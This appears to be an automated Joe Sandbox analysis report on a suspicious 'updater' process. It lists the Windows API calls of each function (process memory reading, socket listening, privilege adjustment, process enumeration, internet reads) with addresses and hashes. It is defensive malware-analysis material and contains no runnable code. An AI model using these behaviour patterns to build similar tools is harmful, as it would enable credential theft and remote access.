LoadLibraryA, xrefs: 012695E7, 012695ED
OpenProcess, xrefs: 01269603, 01269609
ddre, xrefs: 0126940E
ReadProcessMemory, xrefs: 01269613, 01269619
GetP, xrefs: 01269403
CloseHandle, xrefs: 01269623, 01269629
VirtualAlloc, xrefs: 012695F7, 012695FA

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID:
String ID: CloseHandle$GetP$LoadLibraryA$OpenProcess$ReadProcessMemory$VirtualAlloc$ddre
API String ID: 0-74115134
Opcode ID: 4cd9f9ecbeb5a7e973a920515f3bfac52f909a65e1fd192fa73b7d5d25a518c3
Instruction ID: 003e479e94eca84375582ab20650604f50b7effd821ad0a3e35d8267747b376a
Opcode Fuzzy Hash: 4cd9f9ecbeb5a7e973a920515f3bfac52f909a65e1fd192fa73b7d5d25a518c3
Instruction Fuzzy Hash: 64223770E04259DFDB11CBACC885B9EBBF5AF19304F184098E588AB342C775AE94CF65

Function 012692EA Relevance: 9.1, Strings: 7, Instructions: 361COMMON

Download Yara Rule

Strings

LoadLibraryA, xrefs: 012695E7, 012695ED
OpenProcess, xrefs: 01269603, 01269609
ddre, xrefs: 0126940E
ReadProcessMemory, xrefs: 01269613, 01269619
GetP, xrefs: 01269403
CloseHandle, xrefs: 01269623, 01269629
VirtualAlloc, xrefs: 012695F7, 012695FA

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID:
String ID: CloseHandle$GetP$LoadLibraryA$OpenProcess$ReadProcessMemory$VirtualAlloc$ddre
API String ID: 0-74115134
Opcode ID: 209e1775169c63c9113a39a8207cac4ced71357f068e33ba48bf9a3c064cc1b0
Instruction ID: c3f34f39f80bcd02ea5ab326506653f6dec524a3907c5f955b6385ef87a5df56
Opcode Fuzzy Hash: 209e1775169c63c9113a39a8207cac4ced71357f068e33ba48bf9a3c064cc1b0
Instruction Fuzzy Hash: 1C023C70E04288DFDB11CBACC885B9DBBF5AF19304F184099E588AB352C7B59E94CF65

Function 00C2696E Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006), ref: 00C269C7
WSAGetLastError.WSOCK32(00000000), ref: 00C269D6
bind.WSOCK32(00000000,?,00000010), ref: 00C269F2
listen.WSOCK32(00000000,00000005), ref: 00C26A01
WSAGetLastError.WSOCK32(00000000), ref: 00C26A1B
closesocket.WSOCK32(00000000), ref: 00C26A2F

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: 0241a742c330b5a9abdc3c89636359cd2fffb8ca36550cbfd5314469fde1b482
Instruction ID: ef415e49e93e3b42eddf47848b53b12901f2832a2f31594286406e4ec37a3e18
Opcode Fuzzy Hash: 0241a742c330b5a9abdc3c89636359cd2fffb8ca36550cbfd5314469fde1b482
Instruction Fuzzy Hash: 4921F2342006109FCB10EF68D889B6EB7F9FF45720F108598E916A73D2CB70AD00DBA1

Function 00C1C2FF Relevance: 7.6, APIs: 5, Instructions: 143fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00C1C329
_wcscmp.LIBCMT ref: 00C1C359
_wcscmp.LIBCMT ref: 00C1C36E
FindNextFileW.KERNEL32(00000000,?), ref: 00C1C37F
FindClose.KERNEL32(00000000,00000001,00000000), ref: 00C1C3AF

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: 3577cee9296bcd43a0be187f09419df9c28fa0f6221ef6dde2d4dfeec574ad5e
Instruction ID: 6c6fffe24cf29f8be15d30db98af523700b99674ed889d7dc1fe294c057221e6
Opcode Fuzzy Hash: 3577cee9296bcd43a0be187f09419df9c28fa0f6221ef6dde2d4dfeec574ad5e
Instruction Fuzzy Hash: 76517A756446029FC714DF68C4D0EEAB3E8BF4A310F10466DF9668B3A2DB70AD44DB91

Function 00C26E32 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00C28475: inet_addr.WSOCK32(00000000), ref: 00C284A0

socket.WSOCK32(00000002,00000002,00000011), ref: 00C26E89
WSAGetLastError.WSOCK32(00000000), ref: 00C26EB2
bind.WSOCK32(00000000,?,00000010), ref: 00C26EEB
WSAGetLastError.WSOCK32(00000000), ref: 00C26EF8
closesocket.WSOCK32(00000000), ref: 00C26F0C

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: 3c14503cfae05b0a8b361c3f13f4c86871ccd150af24de4d887963ee4e556936
Instruction ID: 6b1e20aa65e22cef1f44730d62001b0fdcc4bcb42d57b0b4da8df77f1e494690
Opcode Fuzzy Hash: 3c14503cfae05b0a8b361c3f13f4c86871ccd150af24de4d887963ee4e556936
Instruction Fuzzy Hash: 8E41D475640610AFDB10AF64DC86FBE77E8AF04714F048598FA55AB3D3DBB09D008BA1

Function 00C359B3 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00C35A02
IsWindowEnabled.USER32 ref: 00C35A10
GetForegroundWindow.USER32(?,?,00000001), ref: 00C35A1D
IsIconic.USER32 ref: 00C35A2B
IsZoomed.USER32 ref: 00C35A39

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 0a25b7fb68d4edff8e890ef957efc0e73b1c0a491b6ac13546196c0f521c5a72
Instruction ID: 0042da3ef4e857c77bb004d003325c9aa45088cd7aae3530ae0b011e2cd5e9a4
Opcode Fuzzy Hash: 0a25b7fb68d4edff8e890ef957efc0e73b1c0a491b6ac13546196c0f521c5a72
Instruction Fuzzy Hash: 9E110136350A119FE7211F269C84B7EBBE9FF85721F114529F906D7242CB70EE029AE0

Function 00C1C9DA Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00C1CA75
CoCreateInstance.OLE32(00C43D3C,00000000,00000001,00C43BAC,?), ref: 00C1CA8D

Part of subcall function 00BC1A36: _memmove.LIBCMT ref: 00BC1A77

CoUninitialize.OLE32 ref: 00C1CCFA

Strings

.lnk, xrefs: 00C1CA09, 00C1CA31, 00C1CA3B

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: 7178161fad4e59964892ff7b5eb196776811c8a7e8359e79315b518c94d0bfed
Instruction ID: 1101cc7987998ddd3983d5c85136bff938c76c5d98c1324117229ec2e7646e9b
Opcode Fuzzy Hash: 7178161fad4e59964892ff7b5eb196776811c8a7e8359e79315b518c94d0bfed
Instruction Fuzzy Hash: 77A10971104205AFD300EF64C891EABB7E8FF95714F00496CF5559B2A2EBB0EE49CB92

Function 00C2C6D9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00BF027A,?), ref: 00C2C6E7
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00C2C6F9

Strings

GetSystemWow64DirectoryW, xrefs: 00C2C6F3
kernel32.dll, xrefs: 00C2C6E2

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: c1d37a5b13a4c6c22a893040526196c49dc9ed11e22bae39f7de765ba08b5d43
Instruction ID: 3c93f746818d08f802ea364985d5d33d2629c2d9343ea3b36be9a2ff07af0137
Opcode Fuzzy Hash: c1d37a5b13a4c6c22a893040526196c49dc9ed11e22bae39f7de765ba08b5d43
Instruction Fuzzy Hash: 1DE0C27D1507228FD7305B25DC89F5E76D4FF14B04B608429E995C2610DB70CC80CF10

Function 00BF0030 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00BF0034
__swprintf.LIBCMT ref: 00BF0065

Strings

%.3d, xrefs: 00BF003F
WIN_XPe, xrefs: 00BF00A4

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: 7cc60c98020edce14a77bfa79cf1dece12d983fc0b0a94fc943b2313b0b31edb
Instruction ID: f0b7e006dbf6ef4b6c224b72d59e0342ca50489ffe22e596adadfb9506867509
Opcode Fuzzy Hash: 7cc60c98020edce14a77bfa79cf1dece12d983fc0b0a94fc943b2313b0b31edb
Instruction Fuzzy Hash: 01D01D7185411CEAC714A670C9C4EF973FCA704300F1400D2F705D3051DA75475CAB12

Function 00C14148 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00C1416D
Process32FirstW.KERNEL32(00000000,?), ref: 00C1417B
Process32NextW.KERNEL32(00000000,?), ref: 00C1419B
CloseHandle.KERNEL32(00000000), ref: 00C14245

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 2ece8e6309847c9d8647fe01b98035b4e43218c93b4bfe79e7af12d0d3b8afbe
Instruction ID: a9c1281fada2bae7bc127dfc99bf15adbd7add37755a9f3af21123513077cf38
Opcode Fuzzy Hash: 2ece8e6309847c9d8647fe01b98035b4e43218c93b4bfe79e7af12d0d3b8afbe
Instruction Fuzzy Hash: 2631CE711083419FC304EF54D885FAFBBE8FF96350F10092DF591961A2EB709A89CB92

Function 00C229BA Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00C21ED6,00000000), ref: 00C22AAD
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00C22AE4

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: 5465b3ff128bed257d0f9b801431d475caf6dbadcafe8cd6e0a6705a450d5683
Instruction ID: 33e1ce2b51cfa6e83abb7f7b784af454d48fd5b8820d0518e2efa1c52a7422e6
Opcode Fuzzy Hash: 5465b3ff128bed257d0f9b801431d475caf6dbadcafe8cd6e0a6705a450d5683
Instruction Fuzzy Hash: BC41E471600319FFEB20DE55EC85FBFB7ECEB40754F10405AF605A7A41EA70AE41AA60

Function 00C1B976 Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00C1B986
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00C1B9E0
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 00C1BA2D

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 57a86781165bd952a322420af5c7cf89c3576f5ecffeaa6b534833fb806acadc
Instruction ID: 25b5e16683ae5aa7d522d29f2d63f55ceae9a79090910a92e27ded7e1a8e8282
Opcode Fuzzy Hash: 57a86781165bd952a322420af5c7cf89c3576f5ecffeaa6b534833fb806acadc
Instruction Fuzzy Hash: F0215C35A00108EFCB00EFA5D884BEEBBB8FF49310F1481A9E905AB252DB71A955DB51

Function 00C09399 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00BD0FE6: std::exception::exception.LIBCMT ref: 00BD101C
Part of subcall function 00BD0FE6: __CxxThrowException@8.LIBCMT ref: 00BD1031

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00C093E3
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00C09410
GetLastError.KERNEL32 ref: 00C0941D

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: fe34c765bf666b895cbe82424bd35491a5571251a549349df41e2fcc7dab6b0e
Instruction ID: 7df31cb743eff3b2268252e8f177656821c530ada08bcc8b5fe411956ad8d747
Opcode Fuzzy Hash: fe34c765bf666b895cbe82424bd35491a5571251a549349df41e2fcc7dab6b0e
Instruction Fuzzy Hash: 71113DB1414205AFD728AF54EC85E2BB7F8FB44710B20856EF45A96291EA70AC41CA60

Function 00C142D5 Relevance: 4.6, APIs: 3, Instructions: 61fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00C142FF
DeviceIoControl.KERNEL32(00000000,002D1400,00000007,0000000C,?,0000000C,?,00000000), ref: 00C1433C
CloseHandle.KERNEL32(00000000,?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00C14345

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: b5efe68c9392e86c020bb6707291e51914dce0c7716aef82e1d891c396bbaf96
Instruction ID: 7cc57934ec50e05d5c0b78c9b42be922ffbd19a357408b4dd344a30b48517c79
Opcode Fuzzy Hash: b5efe68c9392e86c020bb6707291e51914dce0c7716aef82e1d891c396bbaf96
Instruction Fuzzy Hash: 671186B1940225BEE7109BE89C44FFFB7BCE709720F100556FA24F71A0C2745E4487A1

Function 00C14F1C Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00C14F45
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00C14F5C
FreeSid.ADVAPI32(?), ref: 00C14F6C

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 8aac59ccd401d18051f92a6898f0c83a00758b1939941c50659df1093dac1d80
Instruction ID: 4fb419c677862e97fbeb1a48e55febbfc3141399328c98028f9614e0a06d9bab
Opcode Fuzzy Hash: 8aac59ccd401d18051f92a6898f0c83a00758b1939941c50659df1093dac1d80
Instruction Fuzzy Hash: 50F04F7595130CBFDF04DFE0DC89BADB7BCFF09211F104469AA01E2180D7345A448B50

Function 00C1494A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00BFFC86), ref: 00C1495A
FindFirstFileW.KERNEL32(?,?), ref: 00C1496B
FindClose.KERNEL32(00000000), ref: 00C1497B

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: dd52d2f7c574b0b09682381030fa24396545f0cf846697ecf25a13f02d089e1d
Instruction ID: 1cfa46290352289243dcab60e3b7a3fc7801830656dbd7108791097f1844c3ab
Opcode Fuzzy Hash: dd52d2f7c574b0b09682381030fa24396545f0cf846697ecf25a13f02d089e1d
Instruction Fuzzy Hash: 58E0263586050AAB8214673CEC0DAEF775CAE07339F200705FA35C20E0EBB09E94A6D6

Function 00C1CD14 Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00C1CD3E
FindClose.KERNEL32(00000000), ref: 00C1CD6E

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 65a6a92d0f4ebea4229a197fbe20a75e09c7202f69afca0ec56b368f20e40d81
Instruction ID: dc76cad1d6d70c58675c1b6e5a8345abf2e090ff6404614169992da6b330f82e
Opcode Fuzzy Hash: 65a6a92d0f4ebea4229a197fbe20a75e09c7202f69afca0ec56b368f20e40d81
Instruction Fuzzy Hash: D911C4316006009FD710EF29D845A6EF7E5FF85324F108A6DF9A987292CB70AC01CB81

Function 01258839 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,0125889D), ref: 0125885F
GetACP.KERNEL32(?,?,00001004,?,00000007,00000000,0125889D), ref: 01258878

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 66a2e345b5e93f1663c7ea73473d591c53846b8fe9eacba8f98b1448b447c014
Instruction ID: 8b9f521efd7c3c05863f2b7c2f3ebd24fdbaf4b9df73ef13b46e9ffd61938d6b
Opcode Fuzzy Hash: 66a2e345b5e93f1663c7ea73473d591c53846b8fe9eacba8f98b1448b447c014
Instruction Fuzzy Hash: FEF0BB71E143097FEB40EFA2DCD1DAEB36EEBC4724F40C575A920D7684EAB465018610

Function 0125491D Relevance: 3.0, APIs: 2, Instructions: 33fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,?,?,?,01267384,00000000,01267490), ref: 01254938
GetLastError.KERNEL32(00000000,?,?,?,?,01267384,00000000,01267490), ref: 0125495D

Part of subcall function 012548B1: FileTimeToLocalFileTime.KERNEL32(?), ref: 012548E1
Part of subcall function 012548B1: FileTimeToDosDateTime.KERNEL32(?,?,?), ref: 012548F0

Part of subcall function 01254991: FindClose.KERNEL32(?,?,0125495B,00000000,?,?,?,?,01267384,00000000,01267490), ref: 0125499D

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: FileTime$Find$CloseDateErrorFirstLastLocal
String ID:
API String ID: 976985129-0
Opcode ID: 85bab9cfd6657be81c477965d7c9920948d62e9ac6640ead121c592b0455e55b
Instruction ID: ad7c224857ade0b98037d87e791f60f3e061a88eff44f7414128e8eccff53057
Opcode Fuzzy Hash: 85bab9cfd6657be81c477965d7c9920948d62e9ac6640ead121c592b0455e55b
Instruction Fuzzy Hash: 4CE022B2B212A20B8B94BEBC0CC11BB95D86E946F03081376EE25EB305EA30CC4243D0

Function 00C11AC6 Relevance: 3.0, APIs: 2, Instructions: 32keyboardCOMMON

